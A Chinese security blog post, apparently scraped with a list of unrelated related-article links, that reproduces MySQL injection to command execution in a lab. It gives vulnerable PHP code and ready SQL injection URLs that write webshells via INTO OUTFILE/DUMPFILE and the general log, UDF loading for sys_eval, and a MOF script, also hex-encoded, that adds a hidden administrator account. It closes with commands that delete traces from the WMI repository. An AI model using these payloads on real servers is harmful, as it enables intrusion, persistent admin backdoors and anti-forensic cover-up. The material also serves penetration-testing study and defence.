文章首发公众号:闪光的自留地
知乎:Sp4rkW
GITHUB:Sp4rkW
B站:一只技术君
博客:https://sp4rkw.blog.csdn.net/
联系邮箱:getf_own@163.com

前言

接触安全以来听得最多的就是sql注入,但是一直都没怎么仔细整理过相关的sql注入进阶利用方法,基本局限在注入获取数据库的数据。本文将集中整理复现mysql数据库相关命令执行方法,原理以及提权利用姿势,作者能力有限,如有更多姿势,也欢迎沟通交流。

全文复现环境(基于windows下的docker虚拟环境):

使用到的环境 版本
centos 7.2.1511
宝塔面板 7.5.1
PHP 5.6
MYSQL 5.1.73
windows server 2003
PHP 5.4.45
MYSQL 5.5.53

从基本注入到webshell

php环境代码如下:

<?php
$con=mysqli_connect("127.0.0.1","root","xxx","127_0_0_1");
if (mysqli_connect_errno())
{echo "数据库连接出错:".mysql_connect_error();
}
$id=$_GET["id"];
$result=mysqli_query($con,"select * from runoob_tbl where runoob_id=$id");if (!$result) {printf("Error: %s\n", mysqli_error($con));exit();
}
$row=mysqli_fetch_array($result);
echo $row['runoob_title'].":".$row['runoob_author'];
echo "<br>";?>

这个是一个很基本的union联合注入,数据库表的情况如下:

mysql> use 127_0_0_1;
Database changed
mysql> show tables;
+---------------------+
| Tables_in_127_0_0_1 |
+---------------------+
| runoob_tbl          |
+---------------------+
1 row in set (0.00 sec)mysql> select * from runoob_tbl;
+-----------+--------------+---------------+-----------------+
| runoob_id | runoob_title | runoob_author | submission_date |
+-----------+--------------+---------------+-----------------+
|         1 | Network      | hhh           | NULL            |
+-----------+--------------+---------------+-----------------+
1 row in set (0.00 sec)

secure_file_priv无限制写webshell

前置条件

  • 知道网站的绝对路径
  • 高权限数据库用户(至少宝塔创建的数据库用户无权写操作)
  • load_file() 开启 即 secure_file_priv 无限制
    • 在 MySQL 5.5.3 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件
    • 在 MySQL 5.5.3 之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件
  • 网站路径宽松写入权限(宝塔面板默认755权限无法写入,需要改成777)
mysql> show global variables like '%secure_file_priv%';
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_file_priv |       |
+------------------+-------+
1 row in set (0.00 sec)

secure_file_priv 有以下三种情况,改参数可以查询,但不能动态更改,只能在mysql的配置文件中进行修改,然后重启生效。

数据值 说明
NULL 不允许导入或导出
/tmp 只允许在 /tmp 目录导入导出
不限制目录

手工验证

这里仅以mysql5.5.3 之前版本来进行测试,满足上述写shell的前置条件之后,可以使用以下payload进行文件写入:

# 判断
http://127.0.0.1:8081/sql.php?id=1%20union select 1,@@version,3,4 limit 1,1
http://127.0.0.1:8081/sql.php?id=1%20union select 1,@@secure_file_priv,3,4 limit 1,1# 写文件姿势1~3
http://127.0.0.1:8081/sql.php
?id=1%20union select 1,2,3,'<? phpinfo(); ?>' into outfile '/www/wwwroot/127.0.0.1/_phpinfo.php'#http://127.0.0.1:8081/sql.php
?id=1%20into outfile '/www/wwwroot/127.0.0.1/2_phpinfo.php' fields terminated by '<? phpinfo(); ?>'#http://127.0.0.1:8081/sql.php
?id=1%20union select 1,2,3,'<? phpinfo(); ?>' into dumpfile  '/www/wwwroot/127.0.0.1/3_phpinfo.php'#

PS:当我们无法使用联合查询时,我们可以使用fields terminated bylines terminated by来写shell;拦截了单引号,可以转16进制写入绕过。

# 写入结果1
1   Network hhh \N
1   2   3   <? phpinfo(); ?>
# 写入结果2
1<? phpinfo(); ?>Network<? phpinfo(); ?>hhh<? phpinfo(); ?>\N
# 写入结果3
1Networkhhh>·123<? phpinfo(); ?>

outfile和dumpfile的区别

outfile:

  1. 支持多行数据同时导出
  2. 使用union联合查询时,要保证两侧查询的列数相同
  3. 会在换行符制表符后面追加反斜杠
  4. 会在末尾追加换行

dumpfile:

  1. 每次只能导出一行数据
  2. 不会在换行符制表符后面追加反斜杠
  3. 不会在末尾追加换行

因此,我们可以使用into dumpfile这个函数来顺利写入二进制文件;into outfile函数也可以写入二进制文件,只是追加的反斜杠会使二进制文件无法生效。如果服务器端本身的查询语句,结果有多行,但是我们又想使用dump file,应该手动添加 limit 限制。

日志文件写 webshell

前置条件

  • 知道网站的绝对路径
  • Web 文件夹宽松权限可以写入
  • 高权限数据库用户(至少宝塔创建的数据库用户无权set操作)
  • 支持堆叠注入

MySQL 5.0 版本以上会创建日志文件,可以通过修改日志的全局变量来 getshell,这个姿势也被用来突破限制。当然,为了支持堆叠注入,我们的php源代码需要修改。

<?php
$con=mysqli_connect("127.0.0.1","root","xxx","127_0_0_1");
// 检测链接
if (mysqli_connect_errno($con))
{echo "连接到 MySQL 失败: " . mysqli_connect_error();
}$id=$_GET["id"];
$sql = "SELECT runoob_title FROM runoob_tbl where runoob_id = 1;";
$sql .= "SELECT runoob_author FROM runoob_tbl where runoob_id = $id";// 执行多个 SQL 语句
if (mysqli_multi_query($con,$sql))
{do{// 存储第一个结果集if ($result=mysqli_store_result($con)){while ($row=mysqli_fetch_row($result)){printf("%s"."\n",$row[0]);}mysqli_free_result($result);}}while (mysqli_next_result($con));
}mysqli_close($con);
?>

手工验证

满足上述条件之后,可以通过以下payload进行shell写入:

# 判断
http://127.0.0.1:8081/sql.php?id=1;select @@general_log;--
http://127.0.0.1:8081/sql.php?id=1;select @@general_log_file;--# 写入姿势
http://127.0.0.1:8081/sql.php
?id=1;set global general_log = "ON";set global general_log_file='/www/wwwroot/127.0.0.1/_phpinfo.php';--
http://127.0.0.1:8081/sql.php
?id=select '<?php phpinfo();?>';--
# 写入结果
/www/server/mysql/libexec/mysqld, Version: 5.1.73-log (Source distribution). started with:
Tcp port: 3306  Unix socket: /tmp/mysql.sock
Time                 Id Command    Argument185 Quit
210228 19:43:30   170 Query select @@general_log_file
210228 19:47:58   186 Connect   root@localhost on 127_0_0_1186 Query   SELECT runoob_title FROM runoob_tbl where runoob_id = 1;SELECT runoob_author FROM runoob_tbl where runoob_id = select '<?php phpinfo();?>';--186 Quit

非常鸡肋,因为如果目标web服务不是高权限用户,还会显示Access denied;又因为所有者是mysql,权限660,www无法读取。

Mysql Udf提权

UDF(user defined function)用户自定义函数,是mysql的一个拓展接口。用户可以通过自定义函数实现在mysql中无法方便实现的功能,其添加的新函数都可以在sql语句中调用,就像调用本机函数一样。 由于是用户自定义的函数,所以我们可以利用UDF创建一个执行命令的函数。

UDF提权条件

  • mysql < 5.0.67
    导出路径随意
  • 5.0.67 <= mysql < 5.1
    udf.dll 则需要导出至目标服务器的系统目录 (如:c:/windows/system32/)
  • mysql > 5.1
    必须要把udf.dll文件放到MySQL安装目录下的lib\plugin文件夹下,才能创建自定义函数

udf提权本质还是需要写入文件,所以所需要的root用户必须要是高权限用户,而且还必须拥有目标文件夹的写入权限。udf其实还是有一些使用场景的,比如:

  • 弱口令/社工登录3306为root权限,但目标机器没web服务,写不了webshell。
  • 找不到web服务的绝对路径,或者无权限写入文件。
  • 注入查到了user的pwd hash值,反解出密码,但是无法远程登陆数据库。

手工提权

动态链接库在sqlmap中即可找到,不过 sqlmap 中 自带这些动态链接库为了防止被误杀都经过编码处理过,可以利用 sqlmap 自带的解码工具cloak.py 来解码使用。

# 确定插件目录位置
mysql> show variables like '%plugin%';
+---------------+------------------------------------+
| Variable_name | Value                              |
+---------------+------------------------------------+
| plugin_dir    | /www/server/mysql/lib/mysql/plugin |
+---------------+------------------------------------+
1 row in set (0.00 sec)

其实udf对于注入的要求也还挺多:

  • 高权限
  • plugin 目录可写且需要 secure_file_priv 无限制(宝塔的mysql root用户也是无权限写入,权限755)
  • GET 有字节长度限制,所以往往 POST 注入才可以执行这种攻击
  • 堆叠注入

php站点的代码构造如下:

<?php
$con=mysqli_connect("127.0.0.1","root","xxx","127_0_0_1");
// 检测链接
if (mysqli_connect_errno($con))
{echo "连接到 MySQL 失败: " . mysqli_connect_error();
}$id=$_POST["id"];
$sql = "SELECT runoob_title FROM runoob_tbl where runoob_id = 1;";
$sql .= "SELECT runoob_author FROM runoob_tbl where runoob_id = $id";// 执行多个 SQL 语句
if (mysqli_multi_query($con,$sql))
{do{// 存储第一个结果集if ($result=mysqli_store_result($con)){while ($row=mysqli_fetch_row($result)){printf("%s"."\n",$row[0]);}mysqli_free_result($result);}}while (mysqli_next_result($con));
}mysqli_close($con);
?>

满足上述条件之后,可以使用下面的POST类型payload进行提权:

# 查询插件目录
id=1;select @@plugin_dir--# 写入lib_mysqludf_sys_32.so
id=1;SELECT 0x0000 INTO DUMPFILE '/www/server/mysql/lib/mysql/plugin/udf.so';--# 后续利用
id=1;CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';--
select sys_eval('whoami');

这里很奇怪的是,我一直报错:

ERROR 1126 (HY000): Can't open shared library 'udf.so' (errno: 0 feature disabled)

基于sqlmap解编码以及msf的so文件都尝试了,还是不可以,此外想到可能是SElinux导致的问题,但是基于docker的centos镜像里面没有开启SElinux。

验证MOF提权使用到的phpstudy环境中(windows server2003,php5.4.45,mysql5.5.53),倒是成功验证了。但是需要手动设置my.ini,配置如下信息,并重启数据库:

secure_file_priv = ''

之后成功验证udf提权,比较简单的也可以使用udf大马,戳这里

此外,看到部分文章说可以直接利用system函数,MySQL 5.x中增加了system命令,可以直接执行系统命令

mysql> system whoami;
root

辟谣链接可以点这里:
伪科学:Mysql system()函数提权

MOF提权

MOF提权条件

MOF 提权只在 Windows Server 2003 的环境下才可以成功。提权的原理是C:/Windows/system32/wbem/mof/目录下的 mof 文件每 隔一段时间(几秒钟左右)都会被系统执行,因为这个 MOF 里面有一部分是 VBS 脚本,所以可以利用这个 VBS 脚本来调用 CMD 来执行系统命令,如果 MySQL 有权限操作 mof 目录的话,就可以来执行任意命令了。本质还是离不开写文件。

MOF提权脚本

MOF脚本参考如下:

#pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter
{ EventNamespace = "Root\\Cimv2"; Name  = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL";
}; instance of ActiveScriptEventConsumer as $Consumer
{ Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user sp4rkw pwd123456 /add\")\nWSH.run(\"net.exe localgroup administrators sp4rkw /add\")";
}; instance of __FilterToConsumerBinding
{ Consumer   = $Consumer; Filter = $EventFilter;
};

核心语句如下:

ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user sp4rkw pwd123456 /add\")\nWSH.run(\"net.exe localgroup administrators sp4rkw /add\")";

主要的作用就是添加对应用户密码,并将其设为管理员

手工提权

windows server 2003直接以连接数据库形式进行演示,web端注入同理。上述代码有换行缩进,为了保证完整性,使用十六进制编码后写入,随便找个在线进制转换,转换完成后记得补0x。

mysql > select  0x23707261676d61206e616d65737061636528225c5c5c5c2e5c5c726f6f745c5c737562736372697074696f6e2229200a0a696e7374616e6365206f66205f5f4576656e7446696c74657220617320244576656e7446696c746572200a7b200a202020204576656e744e616d657370616365203d2022526f6f745c5c43696d7632223b200a202020204e616d6520203d202266696c745032223b200a202020205175657279203d202253656c656374202a2046726f6d205f5f496e7374616e63654d6f64696669636174696f6e4576656e742022200a20202020202020202020202022576865726520546172676574496e7374616e636520497361205c2257696e33325f4c6f63616c54696d655c222022200a20202020202020202020202022416e6420546172676574496e7374616e63652e5365636f6e64203d2035223b200a2020202051756572794c616e6775616765203d202257514c223b200a7d3b200a0a696e7374616e6365206f66204163746976655363726970744576656e74436f6e73756d65722061732024436f6e73756d6572200a7b200a202020204e616d65203d2022636f6e735043535632223b200a20202020536372697074696e67456e67696e65203d20224a536372697074223b200a2020202053637269707454657874203d200a2276617220575348203d206e657720416374697665584f626a656374285c22575363726970742e5368656c6c5c22295c6e5753482e72756e285c226e65742e657865207573657220737034726b7720707764313233343536202f6164645c22295c6e5753482e72756e285c226e65742e657865206c6f63616c67726f75702061646d696e6973747261746f727320737034726b77202f6164645c2229223b200a7d3b200a0a696e7374616e6365206f66205f5f46696c746572546f436f6e73756d657242696e64696e67200a7b200a20202020436f6e73756d65722020203d2024436f6e73756d65723b200a2020202046696c746572203d20244576656e7446696c7465723b200a7d3b into dumpfile "C:/windows/system32/wbem/mof/test.mof";
Query OK, 1 row affected (0.00 sec)

清理痕迹

# 停止 winmgmt 服务
C:\Documents and Settings\Administrator>net stop winmgmt
Windows Management Instrumentation 服务正在停止.
Windows Management Instrumentation 服务已成功停止。# 删除 Repository 文件夹
C:\Documents and Settings\Administrator>rmdir /s /q C:\Windows\system32\wbem\Rep
ository\# 手动删除 mof 文件
C:\Documents and Settings\Administrator>del C:\Windows\system32\wbem\mof\good\te
st.mof /F /S
删除文件 - C:\Windows\system32\wbem\mof\good\test.mof# 重新启动服务
C:\Documents and Settings\Administrator>net start winmgmt
Windows Management Instrumentation 服务正在启动 .
Windows Management Instrumentation 服务已经启动成功。

总结

其实上述webshell或者是提权到执行系统命令,其本质都基于能够写文件;基于写文件的思路,其实可以做很多拓展,当然,这些思路我没有去验证,只是提一提自己的想法。比如说:

  • 写入定时计划文件,利用定时任务来反弹shell
  • 写入ssh用户的authorized_keys,从而进行ssh登录
  • 写入钓鱼文件放到目标用户桌面
  • 等等

mysql注入到命令执行 | 提权相关推荐

  1. 记一次asp+mssql的注入和命令执行(已脱敏)

    记一次asp+mssql的注入和命令执行(已脱敏) 注 前言 复现 总结 注 本文已经首发于freebuff asp+mssql的注入和命令执行(已脱敏) 前言 前一段时间参加了一个活动,这一段时间学 ...

  2. find基础命令与提权教程

    find基础命令与提权教程 find命令用来在指定目录下查找文件,若不指定目录则视为当前目录 find常用参数 语法:find [path-] [expression] path为查找路径,.为当前路 ...

  3. java中弹框命令_JAVA提权执行Windows指令

    1前言 **平台要求实现FTP账户同步.FTP账户同步分为两步,第一步将平台用户写入FTP服务器(FileZilla Server)配置文件中(Dom4J读写XML文件),第二部重启FTP服务(指令为 ...

  4. MySQL通过source命令执行sql文件

    前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给大家.点击跳转到教程. IT人员经常会和MySQL打交道,备份和恢复应该是最常用的操作了,那么通过直接执行sql文件无疑是最 ...

  5. Apache Solr Velocity 注入远程命令执行漏洞复现 (CVE-2019-17558)

    漏洞描述 Solr是Apache Lucene项目的开源企业搜索平台. 其主要功能包括全文检索.命中标示.分面搜索.动态聚类.数据库集成,以及富文本的处理. 2019年10月30日,国外安全研究人员放 ...

  6. mysql导出udf失败_udf提权方法和出现问题汇总

    一.适用条件 1.目标系统是Windows(Win2000,XP,Win2003): 2.你已经拥有MYSQL的某个用户账号,此账号必须有对mysql的insert和delete权限以创建和抛弃函数( ...

  7. 百战RHCE(第七战:Linux进阶命令5-sudo提权极简管理)

    哈喽哈喽哈喽,大家好啊,很高兴大家能看到这篇文章! 首先,本人目前是计算机专业的大一学生,基于对Linux操作系统的爱好,参与了RHCE的培训班,而我这次编写的 <百战RHCE>文章,是基 ...

  8. apache solr velocity 注入远程命令执行漏洞 (cve-2019-17558)

    Apache Solr 是一个开源的搜索服务器. 在其 5.0.0 到 8.3.1版本中,用户可以注入自定义模板,通过Velocity模板语言执行任意命令. 具体漏洞原理和POC可以参考: https ...

  9. CAcls命令在提权中的使用

    cacls.exe c: /e /t /g everyone:F          #把c盘设置为everyone可以浏览 cacls.exe d: /e /t /g everyone:F       ...

最新文章

  1. 关于ORM中只有XML没有映射实体的思考?期待大家的建议
  2. 服务器每秒钟执行命令数量是什么_全国自考互联网及其应用模拟试卷(一)及答案.doc...
  3. 项目启动:java程序包不存在_ideaError:(3, 24) java: 程序包不存在的问题
  4. YbtOJ#652-集合比较【Treap】
  5. 【做题记录】[NOI2008] 假面舞会—有向图上的环与最长链
  6. django 集成个推_持续集成CircleCI vs Travis CI vs Jenkins
  7. 在idea上配置hadoop开发环境,使用maven配置hadoop的依赖,自动管理相关jar包
  8. MySQL基础总结,认真看完这篇就够了!!!
  9. 状态空间方程的等价问题
  10. Java并发编程:线程的基本状态
  11. DWORD WINAPI
  12. Linux学习简单教程和常用命令(小白学习法)
  13. 微软云计算解决方案介绍
  14. mysql ndb 关闭,监控mysql、ndb进程重启
  15. 【无标题】MobaXterm远程连接服务器跑深度学习
  16. 如何注册成为腾讯QQ互联个人开发者
  17. python 常用的内置模块
  18. Python - 深度学习系列2-人脸比对 Siamese
  19. Viterbi-Algorithm(维特比)算法
  20. 数据结构—— 一元多项式的运算(相加,相减,相乘)【C语言实现】

热门文章

  1. 笔记本电脑硬盘数据丢失怎么办
  2. 《敏捷个人》周刊 第11期 (可下载)
  3. Unity中UGUI实现点击改按钮播放一个音效
  4. 项目 - Web地图开发【高德地图API】(二)
  5. ♪ ♩ ♫ 海的声音-北京折叠
  6. 献给入门小白的MySQL学习笔记+案例
  7. canvas模拟中国铁路运行图
  8. 自动发送QQ消息功能的原理及实现
  9. SET UNUSED列可以恢复吗?
  10. 解密电商的11张基金支付牌照:BAT领衔